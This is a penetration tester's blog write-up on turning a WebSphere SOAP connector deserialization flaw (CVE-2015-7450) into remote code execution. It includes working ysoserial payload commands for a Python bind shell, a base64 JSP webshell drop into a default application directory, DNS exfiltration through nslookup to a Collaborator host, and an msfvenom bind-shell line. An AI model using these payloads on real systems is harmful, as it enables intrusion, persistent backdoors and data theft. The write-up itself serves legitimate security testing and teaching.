Shells and Soap: Websphere Deserialization to RCE

Shells and Soap: Websphere Deserialization to RCE

IBM Websphere Application Server is a popular software that can be found commonly in enterprise environments. It allows applications to deployed and centrally managed. Similar to other large Java applications it has been a bit of a mystery to those of us that haven’t had a chance to find a vulnerable instance.

On a recent pentest, I identified a SOAP service enabled on port 8880. This happens to be the default port for Websphere’s SOAP Connector. This service appears like the following for almost any HTTP request you send:

Websphere Application Server’s SOAP Connector Service

The rO0AB characters should stick out to anyone with some Java deserialization experience. This of course is a base64 encoded Java serialized object in the response. This can be decoded and verified through a hex dump.

The ACED bytes can be seen at the start of the hex dump which confirms this is a Java serialized object.

I figured this would be simple to exploit by just sending over a few ysoserial payloads in the body of a POST request. This low effort approach obviously didn’t work. I started doing some more research and found out that Metasploit had a module for this SOAP connector service. The module can be found at exploit/windows/misc/ibm_websphere_java_deserialize.

Unfortunately the module only supports Windows which didn’t match the OS of my target. I did a bit more research and came across this exploit: https://github.com/Coalfire-Research/java-deserialization-exploits/blob/main/WebSphere/websphere_rce.py. Both the python exploit and the Metasploit payload essentially send a formatted SOAP request to the server with the following header: SOAPAction: "urn:AdminService". This apparently corresponded to CVE-2015-7450. The serialized object that is modified in the exploit is placed within the “params” XML parameter.

The python exploit allowed me to get a Burpsuite Collaborator event by serializing an nslookup command: “nslookup mycollab.burpcollaborator.net”.

Now the difficult part was determining how to get this blind code execution to turn into a workable shell. I had a difficult time getting any normal reverse or bind shells to work. My target seemed to have a limited set of system binaries and was running AV so basic shells didn’t work or were blocked. Network connectivity was limited so I couldn’t just run a wget; chmod; execute.

Bind Fu – Attempt 1

The service turns out to be vulnerable to the CommonsCollections1 payload from the Ysoserial library. From past experience this gadget executes the Java code of:

Runtime.getRuntime().exec("my command");

This makes it difficult to execute OS commands that make use of bash sequences. Fortunately there is a great blog post that discusses how to bypass this limitation here: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html. Using the knowledge from this blog post I was able to execute commands a bit more reliably:

$ java -jar ysoserial.jar CommonsCollections1 "sh -c \$@|sh . echo touch /tmp/test" |   base64 -w 0

My initial goal was to get a bind shell working on the host. This would allow me to connect at whatever port I specified. I found a blog that described a two step python bind shell here: https://blog.atucom.net/2017/06/smallest-python-bind-shell.html. The blog describes a process that creates a listener that will eval whatever is sent into it. The attacker can instruct the victim to start a /bin/sh process upon first connection.

This would look something like this:

$ java -jar ysoserial.jar CommonsCollections1 "sh -c \$@|sh . echo bash -c \"python3 -c 'import socket as a;s=a.socket();s.bind((\\\"0\\\",9001));s.listen(1);r,z=s.accept();exec(r.recv(999))'\"" |base64 -w 0

After connecting to port 9001 with netcat the attacker would send:

import pty,os;d=os.dup2;n=r.fileno;d(n(),0);d(n(),1);d(n(),2);pty.spawn("/bin/sh");s.close()

This worked out well in a lab with python2 and python3, but despite my best attempts I didn’t have luck against my target. Any port I specified didn’t seem to get opened up. Perhaps AV or some other network devices were blocking my attempt.

  • Update after retesting this, I was able to get this shell to work. My original syntax was broken which caused the port to fail to open.

Docker To The Rescue

The CVE details specify that Websphere Application Server 7, 8, and 8.5 are vulnerable to this issue. I decided to check out Docker Hub to see if there were any vulnerable containers I could spin up. I was aiming for version 7 as this was likely going to have the least security patches applied.

Unfortunately there are only new versions of Websphere Application Server currently on Docker Hub. I did a bit more research and came across this tutorial that can be used to build a Websphere Application Server 7 container: https://github.com/tan9/ibm-was7-docker.git

After building the image I was able to run my own server locally. I tested out the python exploit from Coalfire and was able to confirm that I could execute commands on the underlying host.

This was a huge improvement over the blind code execution I had on my target. Now I could observe changes to the OS!

Since I didn’t have a reliable experience with the bind shell I decided to see if I could get a webshell instead. At this point I had very limited experience with Websphere. I knew that it could deploy applications so it had to be possible to write a webshell.

I started doing some research to find out if other hackers had dropped a webshell on Websphere before. You can obviously deploy a malicious war file if you have credentials, but I didn’t have a great way to exfil credentials. I was limited to DNS exfiltration for some basic info here and there. I came across this Defcon talk which gave me a much better understanding of what Websphere can process and do: https://www.youtube.com/watch?v=F6T1DpENEG0.

I greatly enjoyed the talk by Ed Schaller. After I watched it I knew that I was looking to drop a JSP shell.

In my Docker container I wanted to see if there were any default JSP files that I could potentially overwrite with a backdoor.

$ docker exec -u 0 -it 694c41b2ea67 bash
root@694c41b2ea67:/# find /opt/IBM/WebSphere/AppServer/ -name "*.jsp"
/opt/IBM/WebSphere/AppServer/properties/version/nif/backup/prereq.jsp
/opt/IBM/WebSphere/AppServer/systemApps/isclite.ear/wasportlet.war/moduleVersion/versioninfo.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/HelloWML.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/HitCount.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/HelloHTML.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/HelloWMLError.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/auth_error.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/HelloHTMLError.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/HelloVXMLError.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/HelloVXML.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/ivtApp.ear/ivt_app.war/ivtDate.jsp
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/ivtApp.ear/ivt_app.war/ivtAddition.jsp
root@694c41b2ea67:/#

As it turns out there are quite a few default JSP files. I found out that I was able to access the installedApps on port 9080, which is listed as the HTTP Transport Port for WAS. Everything in the DefaultApplication.war folder was accessible on the root path and everything in the ivt_app.war folder was accessible in the /ivt/ path.

This turns out to be due to the fact that Websphere has a few default applications that are automatically deployed. These JSPs and their war folders make for a great location to host a webshell.

I did a quick google and tested out the first JSP shell I found to see if it would work manually. I used https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp and placed it in the /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/ directory. Testing it out proved to be successful:

Shelling out – Attempt 2

The cmd.jsp file looked really promising after I manually uploaded it to the server. Now I had to figure out how to use the SOAP exploit to upload the webshell to my vulnerable server.

Writing a webshell required that I have a shell to write and know the path of where to write it, so that I know where to access it. Since I had docker available to list out all of the existing JSPs I knew that I should be able to write to /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/cmd.jsp.

This is pretty simple, but what if the DefaultWebApplication.war is not installed or it is at a different path? Two options came to mind:

  1. Use the Snoop Servlet to leak the path
  2. Make DNS lookups to obtain the following
    1. Current working directory
    2. Any different cells. Ex: ./installedApps/DefaultCell01/
    3. Checking for war files you can potentially write content to
Snoop Servlet

Websphere snoop is an easier option if enabled. The servlet dumps out a handful of environment variables which can be used to identify the working directory, cell, and potential war files to write to. See that the javax.servlet.context.tempdir in the above image points to the full path for the DefaultWebApplication.war.

The second option involves using an nslookup junk$(pwd | sed -e 's/\//./g').mycollab.burpcollaborator.net or similar to leak data via DNS. This is certainly tedious, but can be used to achieve the same results.

Finally the shell is ready to be written. I assume that the cmd.jsp file is saved locally on the attacking machine.

$ java -jar ysoserial.jar CommonsCollections1 "sh -c \$@|sh . echo bash -c 'echo $(cat cmd.jsp | base64 -w 0) | base64 -d > /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/DefaultCell01/DefaultApplication.ear/DefaultWebApplication.war/cmd2.jsp'" | base64 -w 0

Sending the output to the server provides us with our new shell to cmd2.jsp!

Repeating the above process landed a nice webshell on my real target.

Fin

This CVE unfortunately doesn’t provide command line output when executing commands via the CommonsCollections1 gadget. It’s possible there is another gadget that could be used to obtain the output of a command in the HTTP response.

This methodology worked fairly well to get a better working shell. After seeing the command output I was able to see why some of my typical methods of retaining access were failing.

Some thoughts to improving this:

  • Use Metasploit to generate a JSP
    • msfvenom -p java/jsp_shell_bind_tcp LPORT=8000 -f raw > shell.jsp
  • Figure out how to deploy a EAR/WAR via the SOAP exploit or if it’s even possible
  • Identify the default HTTP port along with custom EARs

A template for this exploit was added to Nuclei. Note that the DNS query needs to happen to indicate a SOAP service is vulnerable. Newer/patched versions of Websphere Application Server display the same error message but do not deserialize the CommonsCollections1 gadget.

Comments are closed.